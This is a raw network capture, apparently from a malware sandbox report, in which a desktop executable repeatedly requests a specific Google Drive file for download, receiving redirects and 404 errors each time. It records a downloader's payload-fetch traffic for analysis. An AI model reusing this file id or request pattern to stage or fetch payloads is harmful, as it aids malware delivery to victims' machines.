2025-01-10 14:41:39 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:41:40 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6Xye_Fy2cusVzGNYukn_g6HdgIaeRY1zPi0nvA65ITbXX_wbj2LYIp3b6yz22geQZTmwJBSMU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:41:39 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-hxtOys4TxIAAKgOF68hz6Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:41:40 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 79 39 78 52 52 58 6e 75 55 54 71 48 51 58 38 76 35 50 70 66 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="zy9xRRXnuUTqHQX8v5PpfQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.11.30	49865	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:41:50 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:41:50 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:41:50 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-s9sH8eBhGRO-hXDPxPECHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.11.30	49866	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:41:50 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:41:51 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4jYSLloPEFn-oCkDqsE2W7Q7zoNGrWH9iQbsijOGlbRanBTnrGy8sNVnwKjq8Scdaz Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:41:51 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-s95OGUYPComXEnOcZXtYlw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:41:51 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 44 43 47 72 52 39 37 30 32 5a 6d 43 34 6b 53 32 6b 5a 48 79 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IDCGrR9702ZmC4kS2kZHyQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.11.30	49868	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:42:01 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:42:01 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:42:01 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-y2iksdc4N6Mpj62OerLGGg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.11.30	49869	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:42:02 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:42:02 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4S8ioa2-vZe7hAqvkpFgz5x3VdPZFGy6M0EArxSF5jbOCTnPMKg0Y9lEEeGwvl3_14o-W0eMU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:42:02 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-SZh3SK1Z26Uz2gk881vyUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:42:02 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 32 45 35 6d 6c 76 57 47 53 55 34 30 65 78 36 4a 2d 4a 36 79 6f 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2E5mlvWGSU40ex6J-J6yoQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.11.30	49870	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:42:12 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:42:12 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:42:12 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-98mwbF3x09Hv5FFnWfQwVg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.11.30	49871	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:42:13 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:42:13 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7ubSfP3CCcO7BJ1DHSJ5mEuAQkZMCO3Y1OZeRbKFxFkCYar2KAMjnnHeeQF-O5rh6dmPVwGrQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:42:13 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-RydJEnyPYlQExuE7yphd5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:42:13 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 6a 69 72 36 4b 46 73 4b 4f 31 65 6c 56 30 6e 61 6b 6c 57 65 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vjir6KFsKO1elV0naklWeg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.11.30	49872	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:42:23 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:42:24 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:42:24 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-40yNcsPSJW6rvgqgO7xSvA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.11.30	49873	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
